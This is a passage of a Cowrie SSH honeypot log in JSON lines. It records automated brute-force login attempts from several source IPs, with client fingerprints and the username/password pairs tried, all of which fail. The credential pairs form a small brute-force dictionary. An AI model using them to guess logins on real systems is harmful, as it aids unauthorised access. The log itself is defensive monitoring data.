{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:30.967348Z","src_ip":"45.156.87.253","session":"009fa2a340fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:31.208487Z","src_ip":"45.156.87.253","session":"009fa2a340fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:32.291063Z","src_ip":"45.156.87.253","session":"009fa2a340fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45736,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bfabf1419b5","protocol":"ssh","message":"New connection: 45.156.87.253:45736 (10.17.0.5:22) [session: 7bfabf1419b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:34.247981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:34.325493Z","src_ip":"45.156.87.253","session":"7bfabf1419b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:34.422258Z","src_ip":"45.156.87.253","session":"7bfabf1419b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"password","message":"login attempt [splunk/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:34.664442Z","src_ip":"45.156.87.253","session":"7bfabf1419b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:35.746315Z","src_ip":"45.156.87.253","session":"7bfabf1419b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45740,"dst_ip":"10.17.0.5","dst_port":22,"session":"fef9056de8b3","protocol":"ssh","message":"New connection: 45.156.87.253:45740 (10.17.0.5:22) [session: fef9056de8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:37.741544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:37.745283Z","src_ip":"45.156.87.253","session":"fef9056de8b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:37.826626Z","src_ip":"45.156.87.253","session":"fef9056de8b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"password","message":"login attempt [claude/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:38.073558Z","src_ip":"45.156.87.253","session":"fef9056de8b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:39.156556Z","src_ip":"45.156.87.253","session":"fef9056de8b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":45440,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c5aed3a750f","protocol":"ssh","message":"New connection: 162.241.177.22:45440 (10.17.0.5:22) [session: 3c5aed3a750f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:39.839147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:39.845469Z","src_ip":"162.241.177.22","session":"3c5aed3a750f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:39.870175Z","src_ip":"162.241.177.22","session":"3c5aed3a750f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kuwait","password":"KWT#Bitc0!n$M@st3r99","message":"login attempt [kuwait/KWT#Bitc0!n$M@st3r99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:39.945631Z","src_ip":"162.241.177.22","session":"3c5aed3a750f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:40.972921Z","src_ip":"162.241.177.22","session":"3c5aed3a750f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43776,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b1e09c491a8","protocol":"ssh","message":"New connection: 45.156.87.253:43776 (10.17.0.5:22) [session: 3b1e09c491a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:40.994169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:40.997864Z","src_ip":"45.156.87.253","session":"3b1e09c491a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:41.077902Z","src_ip":"45.156.87.253","session":"3b1e09c491a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:41.507651Z","src_ip":"45.156.87.253","session":"3b1e09c491a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:42.591347Z","src_ip":"45.156.87.253","session":"3b1e09c491a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43788,"dst_ip":"10.17.0.5","dst_port":22,"session":"990119ce822f","protocol":"ssh","message":"New connection: 45.156.87.253:43788 (10.17.0.5:22) [session: 990119ce822f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:44.497478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:44.502193Z","src_ip":"45.156.87.253","session":"990119ce822f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:44.585651Z","src_ip":"45.156.87.253","session":"990119ce822f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"12345678","message":"login attempt [ec2-user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:44.831367Z","src_ip":"45.156.87.253","session":"990119ce822f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:45.915860Z","src_ip":"45.156.87.253","session":"990119ce822f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":52854,"dst_ip":"159.203.135.109","dst_port":22,"session":"6933eda97438","protocol":"ssh","message":"New connection: 103.27.238.120:52854 (159.203.135.109:22) [session: 6933eda97438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:47.008364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:47.011499Z","src_ip":"103.27.238.120","session":"6933eda97438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:47.276213Z","src_ip":"103.27.238.120","session":"6933eda97438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43796,"dst_ip":"10.17.0.5","dst_port":22,"session":"3090a1996d93","protocol":"ssh","message":"New connection: 45.156.87.253:43796 (10.17.0.5:22) [session: 3090a1996d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:47.810013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:47.814292Z","src_ip":"45.156.87.253","session":"3090a1996d93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:47.898690Z","src_ip":"45.156.87.253","session":"3090a1996d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"010884","message":"login attempt [root/010884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:48.071926Z","src_ip":"103.27.238.120","session":"6933eda97438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:48.149306Z","src_ip":"45.156.87.253","session":"3090a1996d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:49.233310Z","src_ip":"45.156.87.253","session":"3090a1996d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:49.339612Z","src_ip":"103.27.238.120","session":"6933eda97438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40174,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e4d2d08fa2b","protocol":"ssh","message":"New connection: 45.156.87.253:40174 (10.17.0.5:22) [session: 2e4d2d08fa2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:51.279729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:51.283370Z","src_ip":"45.156.87.253","session":"2e4d2d08fa2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SS